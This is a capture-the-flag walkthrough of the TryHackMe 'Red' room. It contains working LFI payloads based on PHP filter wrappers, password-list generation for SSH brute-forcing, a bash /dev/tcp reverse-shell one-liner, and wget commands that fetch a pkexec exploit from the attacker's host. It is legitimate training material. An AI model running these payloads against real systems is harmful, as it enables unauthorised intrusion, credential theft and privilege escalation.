Red

A classic battle for the ages. - by hadrian3689

Recon

Scanning our target with Nmap we discover just two open ports. On port 22, running an SSH service, and on port 80, a web server.

Flag 1: LFI Into Sensitive Data

Visiting the website and browsing through it does not reveal anything of interest at first, but just by visiting the root of the website, we see that index.php is used to redirect to existing HTML files.

We are guessing this might be vulnerable to local file inclusion (LFI). So we try to get the contents of the etc/passwd file but cannot.

Instead, we are redirected to home.html. So there might be some sanitization checks going on in the index.php.

To support our assumption, we now use cURL and look at the headers. As soon as we try to navigate to files outside the file system, we get a redirect, (see HTTP response code 302).

To check out the contents of index.php, we access it by passing it as a parameter and using a PHP wrapper to convert its content to base64.

┌──(0xb0b㉿kali)-[~/Documents/tryhackme/red]
└─$ curl http://10.10.195.165/index.php?page=php://filter/convert.base64-encode/resource=index.php -o index.php
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/red]
└─$ base64 --decode index.php

Next, we decode the content and see that the passed parameter is indeed sanitized. First, it has to start with a string ranging from a to z. Then "../" will be removed and after that "./" will be removed. This can be easily bypassed by using a PHP wrapper again. Instead of accessing the /etc/passwd/ file via navigation outside of the directory using "../" we directly access it.

index.php
<?php 

function sanitize_input($param) {
    $param1 = str_replace("../","",$param);
    $param2 = str_replace("./","",$param1);
    return $param2;
}

$page = $_GET['page'];
if (isset($page) && preg_match("/^[a-z]/", $page)) {
    $page = sanitize_input($page);
    readfile($page);
} else {
    header('Location: /index.php?page=home.html');
}

?>

To prove our assumption, we rewrite the index.php by setting the $page parameter to our liking and print the checks as well as the result after the sanitization.

test.php
<?php 

function sanitize_input($param) {
    $param1 = str_replace("../","",$param);
    $param2 = str_replace("./","",$param1);
    return $param2;
}

$page = "php://filter/resource=/etc/passwd";


print isset($page);
print preg_match("/^[a-z]/", $page);
print "<p>";
if (isset($page) && preg_match("/^[a-z]/", $page)) {
    $page = sanitize_input($page);
    print $page;
}
?>

Running a PHP Server on port 9000 to be able to use our test.php:

As we can see, the conditions are met, and the page variable did not get sanitized.

Now, we are able to retrieve the /etc/passwd file from the machine using the PHP wrapper php://filter/resource=.

┌──(0xb0b㉿kali)-[~/Documents/tryhackme/red]
└─$ curl http://10.10.195.165/index.php?page=php://filter/resource=/etc/passwd

Looking at the content of the \etc\passwd file, we see the user mentioned in the room description red and blue. But how do we get the initial foothold? First, the idea was to make use of LFI Log File Poisoning, but this did not work in my case.

Now let's reconsider the room description:

The match has started, and Red has taken the lead on you. But you are Blue, and only you can take Red down.

However, Red has implemented some defense mechanisms that will make the battle a bit difficult:

  1. Red has been known to kick adversaries out of the machine. Is there a way around it?

  2. Red likes to change adversaries' passwords but tends to keep them relatively the same.

  3. Red likes to taunt adversaries in order to throw off their focus. Keep your mind sharp!

This is a unique battle, and if you feel up to the challenge. Then by all means go for it!

In this challenge, we are the user blue, who was kicked out and maybe got his password changed by red, so maybe it is possible to retrieve the old password back from this user and start from there to get into the machine again. Spotting common, sensitive Linux files, we get a hit on .bash_history of the user blue.

┌──(0xb0b㉿kali)-[~/Documents/tryhackme/red]
└─$ curl http://10.10.195.165/index.php?page=php://filter/resource=/home/blue/.bash_history

Checking out the .bash_history of blue, we see that a pass list was generated with the file .reminder as the base and the best64.rule ruleset by using Hashcat.

And we are able to access the .reminder file:

┌──(0xb0b㉿kali)-[~/Documents/tryhackme/red]
└─$ curl http://10.10.195.165/index.php?page=php://filter/resource=/home/blue/.reminder 

With the content of the .reminder file, we use the same Hashcat command to generate our own pass list.

┌──(0xb0b㉿kali)-[~/Documents/tryhackme/red]
└─$ echo 'REDACTED' > .reminder
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/red]
└─$ hashcat --stdout .reminder -r /usr/share/hashcat/rules/best64.rule > passlist.txt

From there, we are able to use the pass list to brute force our way in via SSH as the user blue.

And in his home directory, the first flag is available.

Flag 2: Hijacking Reds Reverse Shell

Now, that we are the user blue on the machine, we set up a web server on our attacking machine to provide the victim with the necessary tools.

While on the machine, we get messages in our command prompt and are getting kicked out of the machine. To see what is running in the background, we make use of the tool pspy to monitor running processes without the need for root permissions. Maybe the enemy is running some vulnerable stuff and scripts. And we need to understand, what is happening in the background.

We are not able to write to the home directory of blue which is as also geting mocked in a message to us. Instead we are using the /tmp directory

The first thing that catches the eye is that red is running the following command:

bash -c nohup bash -i >& /dev/tcp/redrules.thm/9001 0>&1 &

The given command attempts to establish a reverse shell connection to a remote server at redrules.thm on port 9001, allowing interactive access to the remote shell from the user's local machine. The nohup ensures the connection persists even after the user's session ends.

It seems that the script talk.sh is used to leave messages on our command prompt and backup.sh to restore some files. Also, the permissions and attributes of /etc/hosts are adjusted. Processes are being tracked and killed.

So let's check the /etc/hosts file. Maybe we are able to check where redrules.thm resolves to and be able to reroute it to catch the reverse shell of the user red. Checking out the write permissions, it is possible for others to read and write to the file.

So, redrules.thm resolves to 192.168.0.1. Trying to edit the file with an editor like Nano or Vim we get the error, that there is a problem with the history file.

Next, we try to set up a listener on port 9001, and rewrite the host file by resolving redrules.thm to our attacker's machine IP. For our second try, we use the tool sed. We see that the permission to write is denied by using sed. Furthermore, it is noticeable that the name in the error message does not match the name of /etc/hosts and is different with each try, which confirms the problem of the editors mentioned before. That might be a defense mechanism from red.

Set up a listener on port 9001:

In our third attempt, we append the line 10.9.31.94 redrules.thm to the etc/hosts file using tee. First, it was easily overseen, but /usr/bin/chattr -a /etc/hosts and /usr/bin/chattr +a /etc/hosts are being called in the background regularly. So the "append-only" attribute (a) to the /etc/hosts file on a Linux system is being added and removed. So the only way of manipulating the /etc/hosts is to append the needed data to it.

blue@red:~$ /usr/bin/echo "10.9.31.94 redrules.thm" | tee -a /etc/hosts

Confirming that the entry got appended to the file /etc/hosts:

The /etc/hosts file gets restored by red, so keep that in mind.

After waiting some time, the command bash -c nohup bash -i >& /dev/tcp/redrules.thm/9001 0>&1 & gets executed again:

And we are able to catch the reverse shell and are the user red on the machine.

From there, we are able to access the second flag in the home directory of red.

Flag 3: A Vulnerable Binary

Being red, we start the enumeration process again. We are not able to run any binaries as sudo without a password. But there is a binary that catches the eye by searching for files with a SUID bit set. It is the pkexec file in the .git directory in the home directory of red. It's not exploitable due to the fact that it is a SUID binary, but checking out its version reveals that it is possible to exploit it.

red@red:~$ find / -type f -perm -04000 -ls 2>/dev/null

Checking the version of pkexec:

By searching for an exploit for pkexec with the version number 0.105, an exploit is easily found.

For the exploit to work, we just modify the exploit.c file by replacing the line

#define BIN "/usr/bin/pkexec" with #define BIN "/home/red/.git/pkexec".

Next, we compile the exploit on the attacker's machine and transfer it to the target.

On the first attempt at taking the challenge, the attack box was used, and my mind was not on the glibc version used on the target machine.

Fortunately, it worked right away, but there might be the possibility of an incompatibility with the glibc version used on the target machine versus the one used on the attacker machine.

To check out the installed and used glibc version on the machine, we can use ldd --version to check the version to compile our exploit with the correct library version on our target.

Compile the exploit on the attacker machine:

gcc -shared -o evil.so -fPIC evil-so.c
gcc exploit.c -o exploit

Reuse the webserver on our attacker machine to transfer the exploit using wget:

wget http://10.9.31.94:9000/exploit

wget http://10.9.31.94:9000/evil.so

Running the exploit makes us root, and we are able to read the third flag at /root/.

The Defense Mechanisms

Being root we are able to see all scripts to defend us. Lets run a web server using python on the victim machine to retrieve all the scripts used.

The backup.sh script is run to restore the /etc/hosts file.

In blue history, the .bash_history content is stored.

change_pass.sh is used to change the password of the user blue. There are seven options chosen randomly.

The script clean_red.sh retrieves the Process IDs (PIDs) of all running processes containing the strings "tcp" and "redrules" from the system. It then forcibly terminates these processes using the kill -9 command, bypassing any cleanup procedures and terminating them immediately.

The file hosts contain the content of the original /etc/hosts file.

kill_sess.sh just kills all sessions owned by blue.

And, as the name states, talk.sh is used to drop random, predefined texts to our console :D.

I want to thank you so much for this challenge Ahh-dree-ahh-nn for having the opportunity to get in touch and smell some blood with that kind of King of the Hill challenge. It definitely took away some of my inhibitions, but I still have a lot more to learn to mitigate those mechanisms used to defend someone.

Any feedback is highly appreciated

0xb0b

Last updated